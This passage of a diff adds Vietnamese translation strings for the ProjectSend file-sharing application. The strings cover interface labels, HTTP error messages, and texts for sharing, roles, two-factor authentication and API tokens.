"Chỉ nhân sự mới có thể bình luận ở đây.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Chỉ có phần nội dung bên dưới là chỉnh sửa được — các nút và liên kết trong email này giữ nguyên.", + "Open": "Mở", + "Open folder": "Mở thư mục", + "Open in a current window": "Mở trong cửa sổ hiện tại", + "Open in a new window": "Mở trong một cửa sổ mới", + "Open in a parent frame": "Mở trong khung cha", + "Open in the topmost frame": "Mở ở khung trên cùng", + "Open on the website": "Mở trên trang web", + "Open public listing": "Mở danh sách công khai", + "Options": "Lựa chọn", + "Or enter this key manually:": "Hoặc nhập khóa này thủ công:", + "Orange": "Cam", + "Origin Is Unreachable": "Nguồn Gốc Không Chấp Nhận", + "Outgoing email": "Email gửi đi", + "Outgoing email theme": "Giao diện email gửi đi", + "Page :current of :last": "Trang :current trên :last", + "Page Expired": "Trang Đã Hết Hạn", + "Pagination Navigation": "Điều hướng phân trang", + "Partial Content": "Nội Dung Một Phần", + "Password": "Mật khẩu", + "Password reset": "Đặt lại mật khẩu", + "Path": "Đường dẫn", + "Payload Too Large": "Tải Trọng Quá Lớn", + "Payment Required": "yêu cầu thanh toán", + "Pending approval": "Chờ duyệt", + "Permanent Redirect": "Chuyển Hướng Vĩnh Viễn", + "Permanently erased a deleted account": "Đã xóa vĩnh viễn một tài khoản đã bị xóa", + "Permissions": "Quyền", + "Pink": "Hồng", + "Platform": "Nền tảng", + "Please click the button below to verify your email address.": "Vui lòng click vào nút bên dưới để xác minh địa chỉ email của bạn.", + "Port": "Cổng", + "Postmark": "Postmark", + "Powered by ProjectSend": "Được cung cấp bởi ProjectSend", + "Precondition Failed": "Điều Kiện Tiên Quyết Không Thành Công", + "Precondition Required": "Yêu Cầu Điều Kiện Tiên Quyết", + "Preparing your download…": "Đang chuẩn bị tải xuống…", + "Preview": "Xem Trước", + "Preview: :theme": "Xem trước: :theme", + "Previous": "Trước", + "Price": "Giá", + "Privacy": "Quyền riêng tư", + "Privacy settings": "Cài đặt quyền riêng tư", + "Private": "Riêng tư", + "Processing": "Đang Xử Lí", + "Profile": "Hồ sơ", + "Profile information was updated": "Thông tin hồ sơ đã được cập nhật", + "ProjectSend :latestVersion is available (you have :currentVersion)": "Đã có ProjectSend :latestVersion (bạn đang dùng :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend là phần mềm tự do, mã nguồn mở để gửi tập tin cho khách hàng của bạn. Phần mềm được phát hành theo :license, nghĩa là bạn được tự do sử dụng, nghiên cứu, sửa đổi và chia sẻ.", + "ProjectSend is ready": "ProjectSend đã sẵn sàng", + "ProjectSend was installed": "ProjectSend đã được cài đặt", + "Provider": "Nhà cung cấp", + "Proxy Authentication Required": "Yêu Càu Xác Thực Proxy", + "Public": "Công khai", + "Public file": "Tệp công khai", + "Public files": "Tệp công khai", + "Public group": "Nhóm công khai", + "Public group listing": "Danh sách nhóm công khai", + "Public groups": "Nhóm công khai", + "Public link": "Liên kết công khai", + "Public link created.": "Đã tạo liên kết công khai.", + "Public link revoked.": "Đã thu hồi liên kết công khai.", + "Public links": "Liên kết công khai", + "Public listing": "Danh sách công khai", + "Public listing settings": "Cài đặt danh sách công khai", + "Public listing URL": "Địa chỉ danh sách công khai", + "Public pages & portal": "Trang công khai và cổng thông tin", + "Public pages and client portal theme": "Giao diện trang công khai và cổng khách hàng", + "Published": "Đã đăng", + "Purple": "Tím", + "Quota": "Hạn mức", + "Railgun Error": "Lỗi Railgun", + "Range Not Satisfiable": "Phạm Vi Không Đạt Yêu Cầu", + "Read more": "Đọc thêm", + "Reassign them to": "Chuyển cho", + "Recent activity": "Hoạt động gần đây", + "Recipient": "Người nhận", + "Record": "Ghi", + "Record IP addresses for downloads": "Ghi lại địa chỉ IP khi tải xuống", + "Recovery code": "Mã khôi phục", + "Red": "Đỏ", + "Regards,": "Trân trọng,", + "Regenerate recovery codes": "Tạo lại mã khôi phục", + "Regenerate recovery codes?": "Tạo lại mã khôi phục?", + "Regenerated two-factor recovery codes": "Đã tạo lại mã khôi phục xác thực hai bước", + "Register": "Đăng ký", + "Register to access the files shared with you.": "Đăng ký để truy cập các tệp được chia sẻ với bạn.", + "Register to request access. An administrator will review your request.": "Đăng ký để xin quyền truy cập. Quản trị viên sẽ xem xét yêu cầu của bạn.", + "Registered a new client account": "Đã đăng ký một tài khoản khách hàng mới", + "Related": "Liên quan", + "Remember me": "Ghi nhớ đăng nhập", + "Remove": "Gỡ bỏ", + "Removed \":member\" from the group \":subject\"": "Đã gỡ “:member” khỏi nhóm “:subject”", + "Removed the file \":subject\" from :target": "Đã gỡ tệp “:subject” khỏi :target", + "Rename": "Đổi tên", + "Renamed the folder \":subject\"": "Đã đổi tên thư mục “:subject”", + "Repository": "Kho mã nguồn", + "Request declined": "Yêu cầu bị từ chối", + "Request Header Fields Too Large": "Header Của Yêu Cầu Quá Lớn", + "Request membership": "Xin tham gia", + "Request membership to groups (optional)": "Xin tham gia các nhóm (không bắt buộc)", + "Request Timeout": "Quá Thời Gian Yêu Cầu", + "Requested": "Đã yêu cầu", + "Requested membership to the group \":subject\"": "Đã xin tham gia nhóm “:subject”", + "Requested memberships wait in the membership requests queue for approval.": "Các yêu cầu tham gia sẽ chờ duyệt trong danh sách yêu cầu tham gia.", + "Require two-factor authentication": "Bắt buộc xác thực hai bước", + "Required": "Bắt buộc", + "Reset Content": "Đặt Lại Nội Dung", + "Reset Password": "Đặt Lại Mật Khẩu", + "Reset Password Notification": "Thông Báo Đặt Lại Mật Khẩu", + "Reset this email to its default wording?": "Khôi phục email này về nội dung mặc định?", + "Reset to default": "Khôi phục mặc định", + "Restore": "Phục Hồi", + "Restore :name": "Khôi phục :name", + "Restricted extension": "Phần mở rộng bị hạn chế", + "Result": "Kết quả", + "results": "kết quả", + "Review membership requests": "Xem xét yêu cầu tham gia", + "Review pending requests": "Xem xét các yêu cầu đang chờ", + "Retry With": "Thử Lại Với", + "Revoke": "Thu hồi", + "Revoke link": "Thu hồi liên kết", + "Revoke this public link?": "Thu hồi liên kết công khai này?", + "Revoked a public link for the file \":subject\"": "Đã thu hồi liên kết công khai của tệp “:subject”", + "Role": "Vai trò", + "Role created.": "Đã tạo vai trò.", + "Role deleted.": "Đã xóa vai trò.", + "Role name": "Tên vai trò", + "Role updated.": "Đã cập nhật vai trò.", + "Roles": "Vai trò", + "Sample email": "Email mẫu", + "Save": "Lưu", + "Save :name": "Tiết kiệm :name", + "Save & Close": "Lưu & Đóng", + "Save & Return": "Lưu & Trả lại", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Hãy lưu thay đổi để đưa lên hoạt động — trước đó, các nút này trỏ tới một trang chưa được công bố.", + "Saved": "Đã lưu", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Quét mã QR này bằng ứng dụng xác thực, rồi nhập mã sáu chữ số để xác nhận.", + "Scanning:": "Đang quét:", + "Scheduled tasks": "Tác vụ theo lịch", + "Search": "Tìm Kiếm", + "Search :name": "Tìm kiếm :name", + "Search all files and folders": "Tìm trong tất cả tệp và thư mục", + "Search by client or group": "Tìm theo khách hàng hoặc nhóm", + "Search by name": "Tìm theo tên", + "Search by name or email address": "Tìm theo tên hoặc địa chỉ email", + "Search by path": "Tìm theo đường dẫn", + "Search categories": "Tìm danh mục", + "Search fields": "Tìm trường", + "Search your files": "Tìm trong tệp của bạn", + "Security": "Bảo mật", + "Security settings": "Cài đặt bảo mật", + "See Other": "Xem Cái Khác", + "Select": "Chọn", + "Select :name": "Chọn :name", + "Select a client or group": "Chọn khách hàng hoặc nhóm", + "Select a client to add": "Chọn khách hàng để thêm", + "Select a role": "Chọn vai trò", + "Select All": "Chọn tất cả", + "Select an option": "Chọn một mục", + "Select at least one file or folder.": "Hãy chọn ít nhất một tệp hoặc thư mục.", + "Self-registered clients join this group automatically.": "Khách hàng tự đăng ký sẽ tự động vào nhóm này.", + "Send": "Gửi", + "Send email notifications": "Gửi thông báo qua email", + "Send test email": "Gửi email thử", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Gửi ngay một email thật, bỏ qua hàng đợi, để bạn kiểm chứng các cài đặt phía trên có thực sự hoạt động không.", + "Separate paragraphs with a blank line.": "Ngăn cách các đoạn bằng một dòng trống.", + "Server Error": "Máy Chủ Gặp Sự Cố", + "Service Unavailable": "Dịch Vụ Không Khả Dụng", + "Session Has Expired": "Phiên Đã Hết Hạn", + "Set file expiration dates": "Đặt ngày hết hạn cho tệp", + "Set to 0 for no limit. Available disk space still applies.": "Đặt 0 nếu không giới hạn. Dung lượng ổ đĩa còn trống vẫn được tính.", + "Set to 0 to allow requesting again immediately.": "Đặt 0 để cho phép gửi lại yêu cầu ngay lập tức.", + "Set up ProjectSend": "Thiết lập ProjectSend", + "Settings": "Cài đặt", + "Settings that apply to the whole installation": "Các cài đặt áp dụng cho toàn bộ bản cài đặt", + "Setup complete": "Đã thiết lập xong", + "Share a file with the people who manage your account.": "Chia sẻ tệp với những người quản lý tài khoản của bạn.", + "Share files with several clients at once": "Chia sẻ tệp với nhiều khách hàng cùng lúc", + "Shared the folder \":subject\" with :target": "Đã chia sẻ thư mục “:subject” với :target", + "Shared with": "Chia sẻ với", + "Shared with :count": "Đã chia sẻ với :count", + "Sharing": "Chia sẻ", + "Sharing a folder shares everything inside it, now and later": "Chia sẻ một thư mục là chia sẻ mọi thứ bên trong, cả hiện tại lẫn về sau", + "Show": "Trình diễn", + "Show :name": "Hiển thị :name", + "Show All": "Hiển thị tất cả", + "Showing": "Đang hiển thị", + "Showing matches from across your library": "Kết quả từ toàn bộ thư viện của bạn", + "Showing matches from everything shared with you": "Kết quả từ mọi thứ được chia sẻ với bạn", + "Shown across the application and to your clients.": "Hiển thị trong toàn bộ ứng dụng và với khách hàng của bạn.", + "Shows a registration form on the login screen.": "Hiển thị biểu mẫu đăng ký ở màn hình đăng nhập.", + "Sign In": "Đăng nhập", + "Sign up": "Đăng ký", + "Site name": "Tên trang", + "Size": "Kích thước", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Bỏ qua địa chỉ IP khi người tải là tài khoản đã đăng nhập — danh tính của họ vốn đã rõ.", + "SMTP configuration": "Cấu hình SMTP", + "Source code": "Mã nguồn", + "Special public links": "Liên kết công khai đặc biệt", + "Solve": "Gỡ rối", + "Something went wrong. Please try again.": "Đã có lỗi xảy ra. Vui lòng thử lại.", + "SSL": "SSL", + "SSL Handshake Failed": "Kết Nối SSL Không Thành Công", + "Staff": "Nhân sự", + "Start": "Bắt đầu", + "Status": "Trạng thái", + "Stop": "Dừng lại", + "Stopped sharing the folder \":subject\" with :target": "Đã ngừng chia sẻ thư mục “:subject” với :target", + "Storage": "Lưu trữ", + "Storage free": "Dung lượng trống", + "Storage quota (MB)": "Hạn mức lưu trữ (MB)", + "Storage used": "Dung lượng đã dùng", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Hãy cất các mã khôi phục này ở nơi an toàn. Mỗi mã dùng được một lần nếu bạn không truy cập được ứng dụng xác thực.", + "Subfolders": "Thư mục con", + "Subject": "Tiêu đề", + "Submit": "Nộp", + "Subscribe": "Đăng ký", + "Success: test email sent to :email via :hostport.": "Thành công: đã gửi email thử tới :email qua :hostport.", + "Support the project": "Ủng hộ dự án", + "Switch": "Công tắc", + "Switch To Role": "Chuyển sang vai trò", + "Switching Protocols": "Chuyển Đổi Giao Thức", + "System": "Hệ thống", + "System Administrator": "Quản trị viên hệ thống", + "System settings": "Cài đặt hệ thống", + "System settings were updated": "Cài đặt hệ thống đã được cập nhật", + "System users": "Người dùng hệ thống", + "Tag": "Nhãn", + "Tags": "Thẻ", + "Temporary Redirect": "Chuyển Hướng Tạm Thời", + "Test": "Thử", + "Text": "Văn bản", + "Text or author": "Nội dung hoặc tác giả", + "The account of :name will be permanently deleted. This cannot be undone.": "Tài khoản của :name sẽ bị xóa vĩnh viễn. Không thể hoàn tác.", + "The account password was changed": "Mật khẩu tài khoản đã được đổi", + "The account request of :name will be denied and the account deleted.": "Yêu cầu tài khoản của :name sẽ bị từ chối và tài khoản bị xóa.", + "The administrator account was created successfully.": "Đã tạo tài khoản quản trị viên thành công.", + "The administrator role always has every permission and cannot be edited.": "Vai trò quản trị viên luôn có mọi quyền và không thể chỉnh sửa.", + "The base URL segment for public group pages, e.g. :url": "Phần địa chỉ gốc cho các trang nhóm công khai, ví dụ :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "Danh mục “:name” sẽ được gỡ khỏi mọi tệp mang nó. Bản thân các tệp không bị xóa.", + "The client's email address": "Địa chỉ email của khách hàng", + "The client's name": "Tên của khách hàng", + "The clients this group shares files with": "Những khách hàng mà nhóm này chia sẻ tệp", + "The field \":name\" and all its stored values will be permanently deleted.": "Trường “:name” và mọi giá trị đã lưu trong đó sẽ bị xóa vĩnh viễn.", + "The file \":file\" was uploaded by :client.": "Tệp “:file” do :client tải lên.", + "The file \":name\" has been shared with you.": "Tệp “:name” đã được chia sẻ với bạn.", + "The file \":name\" will no longer be available to anyone it was shared with.": "Tệp “:name” sẽ không còn khả dụng với bất kỳ ai từng được chia sẻ.", + "The file name": "Tên tệp", + "The file or folder name": "Tên tệp hoặc thư mục", + "The file will be permanently removed from disk. This cannot be undone.": "Tệp sẽ bị xóa vĩnh viễn khỏi ổ đĩa. Không thể hoàn tác.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Bất kỳ ai có liên kết đều xem được tệp của nhóm công khai mà không cần đăng nhập.", + "The files shared with you": "Các tệp được chia sẻ với bạn", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "Thư mục “:name” và mọi thứ bên trong sẽ bị xóa. Quản trị viên có thể hoàn tác việc này.", + "The following :count items have been shared with you:": ":count mục sau đã được chia sẻ với bạn:", + "The folder \":name\" has been shared with you.": "Thư mục “:name” đã được chia sẻ với bạn.", + "The given data was invalid.": "Dữ liệu nhận được không hợp lệ.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Nhóm “:name” sẽ bị xóa. Khách hàng trong nhóm vẫn giữ tài khoản của mình.", + "The group name": "Tên nhóm", + "The groups you belong to and the ones you can ask to join": "Các nhóm bạn đang tham gia và những nhóm bạn có thể xin vào", + "The header/footer style used for every outgoing notification email.": "Kiểu đầu trang và chân trang dùng cho mọi email thông báo gửi đi.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Diện mạo của các trang công khai dành cho khách, cổng khách hàng và email thông báo gửi đi.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Bản thân máy chủ thư được cấu hình trong tệp .env của bản cài đặt này (các biến MAIL_*), không phải ở đây.", + "The people who administer this installation and upload files": "Những người quản trị bản cài đặt này và tải tệp lên", + "The people you share files with": "Những người bạn chia sẻ tệp", + "The provided two-factor authentication code was invalid.": "Mã xác thực hai bước đã nhập không hợp lệ.", + "The release this installation is running, and where it comes from.": "Phiên bản mà bản cài đặt này đang chạy, và nguồn gốc của nó.", + "The response is not a streamed response.": "Phản hồi không phải là phản hồi được phát trực tuyến.", + "The response is not a view.": "Phản hồi không phải là một lượt xem.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Vai trò “:name” sẽ bị xóa vĩnh viễn. Không thể hoàn tác.", + "The selected folders are empty.": "Các thư mục đã chọn đều rỗng.", + "The uploading client's name": "Tên khách hàng đang tải tệp lên", + "Their account is waiting for approval.": "Tài khoản này đang chờ duyệt.", + "There is nothing to configure yet.": "Chưa có gì để thiết lập.", + "Test email from :site": "Email thử từ :site", + "These files will be permanently removed from disk. This cannot be undone.": "Các tệp này sẽ bị xóa vĩnh viễn khỏi ổ đĩa. Không thể hoàn tác.", + "Theme": "Giao diện", + "Theme updated.": "Đã cập nhật giao diện.", + "Theming": "Giao diện", + "Theming settings": "Cài đặt giao diện", + "This action is unauthorized.": "Hành động này là trái phép.", + "This file exceeds the maximum allowed size of :max MB.": "Tệp này vượt quá kích thước tối đa cho phép là :max MB.", + "This folder is empty.": "Thư mục này rỗng.", + "This installation has no administrator yet. Create the first one to get started.": "Bản cài đặt này chưa có quản trị viên. Hãy tạo người đầu tiên để bắt đầu.", + "This is a built-in role; its scope can't be changed.": "Đây là vai trò có sẵn; không thể thay đổi phạm vi của nó.", + "This is a preview of the :theme email theme.": "Đây là bản xem trước của giao diện email :theme.", + "This is a sample email — no notification was actually sent.": "Đây là email mẫu — không có thông báo nào thực sự được gửi đi.", + "This is a test email from :site.": "Đây là email thử từ :site.", + "This is the last active administrator account.": "Đây là tài khoản quản trị viên còn hoạt động cuối cùng.", + "This link cannot match the file's own public URL slug.": "Liên kết này không được trùng với đường dẫn công khai của chính tệp đó.", + "This link doesn't exist or has been revoked.": "Liên kết này không tồn tại hoặc đã bị thu hồi.", + "This link has expired.": "Liên kết này đã hết hạn.", + "This link has reached its download limit.": "Liên kết này đã đạt giới hạn lượt tải xuống.", + "This password reset link will expire in :count minutes.": "Đường dẫn lấy lại mật khẩu sẽ hết hạn trong :count phút.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Thao tác này xóa vĩnh viễn mọi tác vụ thất bại khỏi danh sách mà không thử lại bất kỳ tác vụ nào. Không thể hoàn tác.", + "This role is assigned to accounts and cannot be deleted.": "Vai trò này đang được gán cho một số tài khoản nên không thể xóa.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Vai trò này chỉ thấy tệp và thư mục của những khách hàng dưới đây, cùng những gì chính họ tải lên.", + "This upload would exceed your storage quota of :quota MB.": "Lần tải lên này sẽ vượt quá hạn mức lưu trữ :quota MB của bạn.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Mẹo: kéo tệp và thư mục thả vào một thư mục hoặc lên thanh đường dẫn để di chuyển chúng.", + "Title": "Tiêu đề", + "Title (optional)": "Tiêu đề (không bắt buộc)", + "TLS": "TLS", + "to": "tới", + "To": "Đến", + "Toggle navigation": "Chuyển hướng điều hướng", + "Too Early": "Quá Sớm", + "Too many files selected. Choose a smaller selection and try again.": "Bạn đã chọn quá nhiều tệp. Hãy chọn ít hơn rồi thử lại.", + "Too Many Requests": "Quá Nhiều Yêu Cầu", + "Transactional email settings for this installation": "Cài đặt email giao dịch của bản cài đặt này", + "Transfers — last 30 days": "Lượt truyền — 30 ngày qua", + "Translate": "Dịch", + "Translate It": "Dịch nó", + "Turns all transactional email for this installation on or off.": "Bật hoặc tắt toàn bộ email giao dịch của bản cài đặt này.", + "Two-factor auth": "Xác thực hai bước", + "Two-factor authentication": "Xác thực hai bước", + "Two-factor authentication is enabled.": "Xác thực hai bước đang bật.", + "Two-factor authentication was disabled": "Xác thực hai bước đã bị tắt", + "Two-factor authentication was enabled": "Xác thực hai bước đã được bật", + "Two-factor recovery codes were regenerated": "Mã khôi phục xác thực hai bước đã được tạo lại", + "Type": "Loại", + "Unauthorized": "Không Được Phép", + "Unavailable For Legal Reasons": "Không Có Sẵn Vì Lí Do Pháp Lí", + "Unchanged": "Không đổi", + "Unknown Error": "Lỗi Không Xác Định", + "Unlimited": "Không giới hạn", + "Unpack": "Giải nén", + "Unprocessable Entity": "Không Thể Xử Lí yêu Cầu", + "Unsubscribe": "Hủy đăng ký", + "Unsupported Media Type": "Loại Phương Tiện Không Được Hỗ Trợ", + "Up": "Hướng lên", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Tối đa :max MB mỗi tệp. Có thể tạm dừng tải lên và quá trình sẽ tự tiếp tục sau khi bị gián đoạn.", + "Update": "Cập Nhật", + "Update :name": "Cập nhật :name", + "Updated the account \":subject\"": "Đã cập nhật tài khoản “:subject”", + "Updated the file \":subject\"": "Đã cập nhật tệp “:subject”", + "Updated the group \":subject\"": "Đã cập nhật nhóm “:subject”", + "Updated the role \":subject\"": "Đã cập nhật vai trò “:subject”", + "Updated the system settings (:section)": "Đã cập nhật cài đặt hệ thống (:section)", + "Updated their profile information": "Đã cập nhật thông tin hồ sơ", + "Upgrade Required": "Yêu Cầu Nâng Cấp", + "Upload": "Tải lên", + "Upload a file": "Tải tệp lên", + "Upload files": "Tải tệp lên", + "Upload public files": "Tải tệp công khai lên", + "Upload settings": "Cài đặt tải lên", + "Upload to public folders": "Tải lên thư mục công khai", + "Uploaded by": "Người tải lên", + "Uploaded the file \":subject\"": "Đã tải lên tệp “:subject”", + "Uploader": "Người tải lên", + "Uploads": "Lượt tải lên", + "Uploads (chart)": "Lượt tải lên (biểu đồ)", + "URI Too Long": "URI Quá Dài", + "URL slug": "Đường dẫn rút gọn", + "Use a custom link instead of a random one": "Dùng liên kết tự đặt thay vì liên kết ngẫu nhiên", + "Use a recovery code": "Dùng mã khôi phục", + "Use an authentication code": "Dùng mã xác thực", + "Use Proxy": "Dùng Proxy", + "Use the navigation to get started.": "Hãy dùng thanh điều hướng để bắt đầu.", + "Used": "Đã dùng", + "Used in the public file URL when this file is public.": "Được dùng trong địa chỉ công khai của tệp khi tệp này ở chế độ công khai.", + "Used in the public group URL when this group is public.": "Được dùng trong địa chỉ công khai của nhóm khi nhóm này ở chế độ công khai.", + "User": "Người dùng", + "User created.": "Đã tạo người dùng.", + "User deleted.": "Đã xóa người dùng.", + "User updated.": "Đã cập nhật người dùng.", + "Users": "Người dùng", + "Username": "Tên đăng nhập", + "Variant Also Negotiates": "Biến Thể Cũng Đàm Phán", + "Verify Email Address": "Xác Minh Địa Chỉ Email", + "Version": "Phiên bản", + "Version :version": "Phiên bản :version", + "View": "Xem", + "View :name": "Xem :name", + "View all": "Xem tất cả", + "View dashboard counters": "Xem bộ đếm trên bảng điều khiển", + "View file": "Xem tệp", + "View news": "Xem tin tức", + "View statistics": "Xem thống kê", + "View system information": "Xem thông tin hệ thống", + "Visible widgets": "Thành phần hiển thị", + "View the activity log": "Xem nhật ký hoạt động", + "View your files": "Xem tệp của mình", + "Visibility": "Phạm vi hiển thị", + "Visitors": "Khách truy cập", + "Warning": "Cảnh báo", + "Web Server is Down": "Máy Chủ Web Đã Tắt", + "Website": "Trang web", + "Welcome": "Chào mừng", + "Welcome to ProjectSend": "Chào mừng bạn đến với ProjectSend", + "What each kind of account is allowed to do": "Mỗi loại tài khoản được phép làm gì", + "When an account is erased, its files and folders": "Khi một tài khoản bị xóa, các tập tin và thư mục của nó", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Khi bật, bạn sẽ được yêu cầu nhập mã bảo mật từ điện thoại mỗi lần đăng nhập.", + "When off, self-registered clients wait in the account requests queue until approved.": "Khi tắt, khách hàng tự đăng ký sẽ nằm chờ duyệt trong danh sách yêu cầu tài khoản.", + "Where outgoing email is actually sent from.": "Địa chỉ mà email gửi đi thực sự xuất phát.", + "Whoops!": "Rất tiếc!", + "Widgets": "Thành phần", + "Worth including when you report a problem.": "Nên kèm theo khi bạn báo lỗi.", + "Written by": "Viết bởi", + "Yellow": "Vàng", + "Yes": "Đồng ý", + "You are commenting too quickly. Try again in a moment.": "Bạn bình luận quá nhanh. Hãy thử lại sau giây lát.", + "You are commenting too quickly. Try again in :seconds seconds.": "Bạn bình luận quá nhanh. Hãy thử lại sau :seconds giây.", + "You are not a member of any group yet.": "Bạn chưa tham gia nhóm nào.", + "You are receiving this email because we received a password reset request for your account.": "Bạn nhận được email này vì chúng tôi đã nhận được yêu cầu đặt lại mật khẩu cho tài khoản của bạn.", + "You can only share with the clients assigned to you.": "Bạn chỉ có thể chia sẻ với những khách hàng được giao cho bạn.", + "You cannot comment on this file.": "Bạn không thể bình luận về tệp này.", + "You cannot deactivate your own account.": "Bạn không thể vô hiệu hóa tài khoản của chính mình.", + "You cannot delete your own account.": "Bạn không thể xóa tài khoản của chính mình.", + "You have no notifications yet.": "Bạn chưa có thông báo nào.", + "You will no longer receive files shared with the group \":name\".": "Bạn sẽ không còn nhận được các tệp chia sẻ với nhóm “:name”.", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Thông tin tài khoản của bạn vừa được quản trị viên thay đổi. Hãy liên hệ quản trị viên nếu bạn không lường trước việc này.", + "Your account has been approved": "Tài khoản của bạn đã được duyệt", + "Your account has been created. You can log in now.": "Tài khoản của bạn đã được tạo. Bạn có thể đăng nhập ngay.", + "Your account has been deactivated.": "Tài khoản của bạn đã bị vô hiệu hóa.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Tài khoản của bạn sẽ bị vô hiệu hóa ngay lập tức. Sau :days ngày, tài khoản sẽ bị xóa vĩnh viễn, kể cả thông tin nhận dạng bạn trong nhật ký hoạt động — không thể hoàn tác.", + "Your account request has been approved. You can now log in.": "Yêu cầu tài khoản của bạn đã được duyệt. Bạn có thể đăng nhập ngay.", + "Your account request has been denied.": "Yêu cầu tài khoản của bạn đã bị từ chối.", + "Your account request has been received. You will be able to log in once it is approved.": "Chúng tôi đã nhận được yêu cầu tài khoản của bạn. Bạn sẽ đăng nhập được sau khi yêu cầu được duyệt.", + "Your account request has not been approved yet.": "Yêu cầu tài khoản của bạn chưa được duyệt.", + "Your account request was denied": "Yêu cầu tài khoản của bạn đã bị từ chối", + "Your account was updated": "Tài khoản của bạn đã được cập nhật", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Tài khoản của bạn sẽ bị vô hiệu hóa ngay và xóa vĩnh viễn sau :days ngày. Nhập mật khẩu để xác nhận.", + "Your account will no longer require a second code at login, making it less secure.": "Tài khoản của bạn sẽ không còn cần mã thứ hai khi đăng nhập, nên sẽ kém an toàn hơn.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Quản trị viên yêu cầu bật xác thực hai bước cho tài khoản này. Hãy thiết lập bên dưới để tiếp tục.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Tiêu đề và nội dung bạn đã tùy chỉnh sẽ bị bỏ ngay và thay bằng nội dung mặc định — không thể hoàn tác.", + "Your download should start automatically.": "Quá trình tải xuống sẽ tự bắt đầu.", + "Your existing recovery codes will stop working immediately.": "Các mã khôi phục hiện tại của bạn sẽ hết hiệu lực ngay lập tức.", + "Your group membership request was approved": "Yêu cầu tham gia nhóm của bạn đã được duyệt", + "Your group membership request was denied": "Yêu cầu tham gia nhóm của bạn đã bị từ chối", + "Your groups": "Nhóm của bạn", + "Your previous request to this group was declined. You can request again later.": "Yêu cầu trước đó của bạn với nhóm này đã bị từ chối. Bạn có thể xin lại sau.", + "Your request to join the group \":group\" has been approved.": "Yêu cầu tham gia nhóm “:group” của bạn đã được duyệt.", + "Your request to join the group \":group\" has been denied.": "Yêu cầu tham gia nhóm “:group” của bạn đã bị từ chối.", + "Your request to join the group \":groupName\" has been approved": "Yêu cầu tham gia nhóm “:groupName” của bạn đã được duyệt", + "Your shared file library": "Thư viện tệp được chia sẻ của bạn", + "API tokens": "Token API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Token cho phép một công cụ bên ngoài thay mặt bạn thao tác qua API, chỉ với những quyền bạn cấp tại đây.", + "Token name": "Tên token", + "e.g. Zapier": "ví dụ Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Hãy đặt tên theo công cụ sẽ dùng nó, để sau này bạn biết mình đang thu hồi cái gì.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Token không bao giờ làm được nhiều hơn bạn. Chỉ cấp những gì công cụ cần — nếu quyền của bạn thay đổi, token cũng thay đổi theo.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Chỉ liệt kê những quyền mà API hiện đã hỗ trợ. Sẽ có thêm quyền khi các điểm cuối mới được phát hành.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Hiện chưa có gì để cấp cho token — chưa có điểm cuối API nào đã phát hành khớp với quyền của bạn.", + "Select all": "Chọn tất cả", + "Clear all": "Bỏ chọn tất cả", + "Expires in (days)": "Hết hạn sau (ngày)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Token không hết hạn sẽ còn hiệu lực cho tới khi có người thu hồi thủ công. Nên chọn một mốc thời gian mà bạn có thể yên tâm quên đi.", + "Create token": "Tạo token", + "Copy your token now": "Hãy sao chép token của bạn ngay", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Đây là lần duy nhất token được hiển thị. Chúng tôi chỉ lưu bản băm nên sau này không thể khôi phục.", + "Copy to clipboard": "Sao chép vào bộ nhớ tạm", + "Copied": "Đã sao chép", + "Your tokens": "Token của bạn", + "Revoking a token takes effect immediately.": "Việc thu hồi token có hiệu lực ngay lập tức.", + "You have not created any tokens yet.": "Bạn chưa tạo token nào.", + "Expired": "Đã hết hạn", + "Never used": "Chưa từng dùng", + "Last used :date": "Dùng lần cuối ngày :date", + "Revoke this token?": "Thu hồi token này?", + "Any tool using it will stop working immediately. This cannot be undone.": "Mọi công cụ đang dùng nó sẽ ngừng hoạt động ngay. Không thể hoàn tác.", + "This file type is not allowed for upload.": "Không cho phép tải lên loại tệp này.", + "View the client list": "Xem danh sách khách hàng", + "View the group list": "Xem danh sách nhóm", + "Origin": "Nguồn", + "All origins": "Mọi nguồn", + "Web UI": "Giao diện web", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Sửa token", + "Save token": "Lưu token", + "The token is shown once, immediately after it is created, and never again.": "Token chỉ hiển thị một lần, ngay sau khi tạo, và không bao giờ hiện lại.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Bản thân token không thay đổi. Những gì đang dùng nó sẽ tiếp tục hoạt động theo những gì bạn đặt ở đây.", + "Changing permissions takes effect immediately": "Thay đổi quyền có hiệu lực ngay", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. 